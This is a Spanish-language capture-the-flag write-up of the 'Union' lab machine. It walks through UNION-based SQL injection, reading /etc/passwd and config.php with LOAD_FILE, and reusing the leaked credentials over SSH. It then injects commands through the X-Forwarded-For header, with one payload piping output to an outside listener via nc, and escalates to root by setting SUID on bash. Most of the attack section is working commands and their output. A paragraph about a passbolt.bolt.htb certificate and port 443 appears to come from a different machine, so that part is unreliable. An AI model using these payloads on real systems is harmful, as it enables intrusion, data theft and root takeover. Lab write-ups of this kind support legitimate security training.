Union
Skills
- SQLI (SQL Injection) - UNION Injection
- SQLI (Read Files)
- HTTP Header Command Injection - X-FORWARDED-FOR [RCE]
- Abusing Sudoers [Privilege Escalation]
Certificaciones
- eJPT
- eWPT
Descripción
Union
es una máquina medium linux
, la estaremos vulnerando a través de una SQLI
(Sql Injection), obtendremos las credenciales
de la base de datos
mediante un LOAD_FILE
, con estas credenciales accederemos
a la máquina
víctima por SSH
, posteriormente encontraremos un archivo
de configuración
de la web, este archivo nos permitirá ejecutar comandos como www-data
quién está en el sudoers
y puede ejecutar cualquier comando como usuario root
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas linux
suele ser 64
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
9
10
11
# ping 10.129.96.75
PING 10.129.96.75 (10.129.96.75) 56(84) bytes of data.
64 bytes from 10.129.96.75: icmp_seq=1 ttl=63 time=74.3 ms
64 bytes from 10.129.96.75: icmp_seq=2 ttl=63 time=76.8 ms
64 bytes from 10.129.96.75: icmp_seq=3 ttl=63 time=76.1 ms
64 bytes from 10.129.96.75: icmp_seq=4 ttl=63 time=77.3 ms
64 bytes from 10.129.96.75: icmp_seq=9 ttl=63 time=73.6 ms
^C
--- 10.129.96.75 ping statistics ---
9 packets transmitted, 5 received, 44.4444% packet loss, time 8108ms
rtt min/avg/max/mdev = 73.597/75.610/77.252/1.414 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.96.75 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 11:43 CEST
Initiating SYN Stealth Scan at 11:43
Scanning 10.129.96.75 [65535 ports]
Discovered open port 80/tcp on 10.129.96.75
Completed SYN Stealth Scan at 11:43, 26.36s elapsed (65535 total ports)
Nmap scan report for 10.129.96.75
Host is up (0.063s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.45 seconds
Raw packets sent: 131088 (5.768MB) | Rcvd: 20 (880B)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# nmap -sCV -p80 10.129.96.75 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 11:44 CEST
Nmap scan report for 10.129.96.75
Host is up (0.062s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds
Nmap
ha detectado un common name analizando el certificado ssl, esto se puede hacer también de forma manual openssl s_client --connect 10.129.254.109:443
, en el certificado ssl aparece el common name passbolt.bolt.htb
que parece un subdominio. Por lo tanto al /etc/hosts vamos a añadir passbolt.bolt.htb
y bolt.htb
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 Kali-Linux
10.129.254.109 bolt.htb passbolt.bolt.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Web Enumeration
Lo primero que vemos es lo siguiente
Con wappalyzer vemos que se está usando php en la web
Esto es lo que vemos al enviar una palabra aleatoria
Si pulsamos en el enlace
nos envía a /challenge.php
Fuzzeamos
en busca de nuevas rutas encontramos varias interesantes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# wfuzz -t 100 -c --hc 404 -z file,/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,.php http://10.129.96.75/FUZZFUZ2Z
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.96.75/FUZZFUZ2Z
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 42 L 93 W 1220 Ch "index - .php"
000001476: 200 0 L 0 W 0 Ch "config - .php"
000004085: 200 20 L 61 W 772 Ch "challenge - .php"
000000867: 200 0 L 2 W 13 Ch "firewall - .php"
Debido a que no he encontrado rutas interesantes, he capturado
la petición
con burpsuite
y he encontrado una SQLI
(Sql Injection)
1
player=' or 1=1-- -
Al parecer Ippsec es un usuario válido
Web Exploitation
Desde burspuite seguimos con la inyección sql, he intentado hacer un order by
para ver el número
de filas
pero no ha funcionado, así que he pasado directamente al union select
. Al parecer nos encontramos ante un SQLI Error Based
1
player=' union select 1-- -
Listamos la versión
para ver ante que nos estamos enfrentando, usualmente nos devolverá el nombre de la base de datos
en uso, pero en este caso no es así
1
player=' union select version()-- -
Si hacemos esta búsqueda en google 8.0.27-0ubuntu0.20.04.1 database
, veremos que estamos ante un mysql
La base de datos a la que nos enfrentamos se llama november
1
player=' union select database()-- -
Listamos
todas las bases de datos
existentes
1
player=' union select group_concat(schema_name) from information_schema.schemata-- -
Listamos las tablas
de la base de datos november
1
player=' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
Listamos columnas
de la tabla flag
1
player=' union select group_concat(column_name) FROM information_schema.columns WHERE table_name='flag' AND table_schema='november'-- -
Listamos columnas
de la tabla players
1
player=' union select group_concat(column_name) FROM information_schema.columns WHERE table_name='players' AND table_schema='november'-- -
Listamos
todos los players
registrados
1
player=' union select group_concat(player) from players-- -
Listamos
todas las flags
1
player=' union select group_concat(one) FROM flag-- -
Ahora que tenemos la flag vamos a hacer los mismos pasos de antes, nos registramos como usuario test
Abrimos la pestaña de /challengue
y ponemos la flag obtenida UHC{F1rst_5tep_2_Qualify}
Al darle a Join Now
vemos lo siguiente, lo cual puede tener sentido ya que antes hemos visto un /firewall.php
Al acceder a /firewall.php
ahora nos esta misma pantalla, antes no ponía acces denied
, si volvemos a escanear los puertos, vemos que el puerto 22
del SSH
está abierto
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.96.75 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 12:52 CEST
Initiating SYN Stealth Scan at 12:52
Scanning 10.129.96.75 [65535 ports]
Discovered open port 22/tcp on 10.129.96.75
Discovered open port 80/tcp on 10.129.96.75
Completed SYN Stealth Scan at 12:52, 13.73s elapsed (65535 total ports)
Nmap scan report for 10.129.96.75
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.81 seconds
Raw packets sent: 67041 (2.950MB) | Rcvd: 67041 (2.682MB)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# nmap -sCV -p80,22 10.129.96.75 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 12:52 CEST
Nmap scan report for 10.129.96.75
Host is up (0.082s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.14 seconds
Como he visto que la página web tenía habilitado php, nginx
y ahora nos han abierto el ssh
he pensado en que se podría hacer un log poisoning, a parte del log poisoning se podría obtener
el archivo config.php
que hemos encontrado fuzzeando
que puede tener credenciales interesantes, pero para ello necesitaríamos leer archivos de la máquina y eso lo podríamos hacer desde mysql
1
player=' union select LOAD_FILE('/etc/passwd')'-- -
No me ha dejado leer los logs de ssh, he probado con los archivos de configuración de nginx y si que me ha dejado, al final he obtenido credenciales
leyendo el archivo config.php
que era lo más obvio
1
player=' union select LOAD_FILE('/var/www/html/config.php')-- -
Estás son las credenciales
a la base de datos november
y podemos utilizarlas para intentar conectarnos por SSH
1
2
$username = "uhc";
$password = "uhc-11qual-global-pw";
Intrusión
Reutilizamos las credenciales para la base de datos encontradas y nos conectamos
por SSH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# ssh uhc@10.129.96.75
uhc@10.129.96.75's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Nov 8 21:19:42 2021 from 10.10.14.8
uhc@union:~$ whoami
uhc
Privilege Escalation
Inspeccionando archivos he encontrado este interesante debido a que se ejecuta
un comando
como sudo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
uhc@union:/var/www/html$ cat firewall.php
<?php
require('config.php');
if (!($_SESSION['Authenticated'])) {
echo "Access Denied";
exit;
}
?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
<div class="container">
<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
</div>
<section class="bg-dark text-center p-5 mt-4">
<div class="container p-5">
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
<h1 class="text-white">Welcome Back!</h1>
<h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
</div>
</section>
</div>
uhc@union:/var/www/html$ cat /tmp/putas.txt
root
uhc@union:/var/www/html$ ls
challenge.php config.php css firewall.php index.php
uhc@union:/var/www/html$ cat firewall.php
<?php
require('config.php');
if (!($_SESSION['Authenticated'])) {
echo "Access Denied";
exit;
}
?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
<div class="container">
<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
</div>
<section class="bg-dark text-center p-5 mt-4">
<div class="container p-5">
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
<h1 class="text-white">Welcome Back!</h1>
<h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
</div>
</section>
</div>
A través de la cabecera X-Forwarded-For
podemos inyectar un comando, lo primero que vamos a hacer es ponernos en escucha
con netcat
1
# nc -nlvp 443
Y seguidamente vamos a ejecutar
este payload
1
# curl -X POST -H "X-Forwarded-For: ;whoami | nc 10.10.16.15 443;" -H "Cookie: PHPSESSID=rnotnlb104dla39p1h90029lse" -d 'flag=UHC{F1rst_5tep_2_Qualify}' http://10.129.96.75/challenge.php -L
Lo que recibimos en nuestro equipo es lo siguiente, tenemos un RCE
(Remote Code Execution)
1
2
3
4
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.129.96.75] 40308
www-data
Según esto podemos ejecutar
como www-data
cualquier comando
como el usuario root
1
2
3
4
5
6
7
8
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.129.96.75] 40320
Matching Defaults entries for www-data on union:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on union:
(ALL : ALL) NOPASSWD: ALL
Le damos permisos SUID
a la bash
1
# curl -X POST -H "X-Forwarded-For: ;sudo chmod u+s /usr/bin/bash;" -H "Cookie: PHPSESSID=rnotnlb104dla39p1h90029lse" -d 'flag=UHC{F1rst_5tep_2_Qualify}' http://10.129.96.75/challenge.php -L
Al tener la bash
permisos SUID
podemos ejecutarla como el propietario, es decir, root
1
2
3
4
5
uhc@union:/var/www/html$ ls -l /usr/bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /usr/bin/bash
uhc@union:/var/www/html$ bash -p
bash-5.0# whoami
root